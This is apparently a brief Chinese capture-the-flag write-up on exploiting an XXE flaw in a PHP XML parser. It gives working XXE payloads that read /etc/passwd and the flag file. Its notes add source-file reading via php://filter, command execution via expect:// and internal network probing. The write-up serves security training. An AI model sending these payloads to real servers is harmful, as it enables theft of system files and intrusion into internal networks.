青少年ctf:PHP的XXE
1、打开网页是一个PHP版本页面
2、CTRL+f搜索xml,发现2.8.0版本,含有xml漏洞
3、bp抓包
4、使用代码出发bug
GET /simplexml_load_string.php HTTP/1.1
补充:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>/* 1.读取任意文件 file 协议,file:///etc//passwd php 协议,php://filter/read=convert.base64-encode/resource=index.php 2.执行系统命令 PHP环境中PHP的expect模块被加载 expect://ipconfig 3.内网探测 http://192.168.0.128:80 参见:https://xz.aliyun.com/t/3357#toc-11 */
5、在触发bug的包下面加上,获取flag
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>
6、查看其他文件etc/passwd
拓展内容:一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区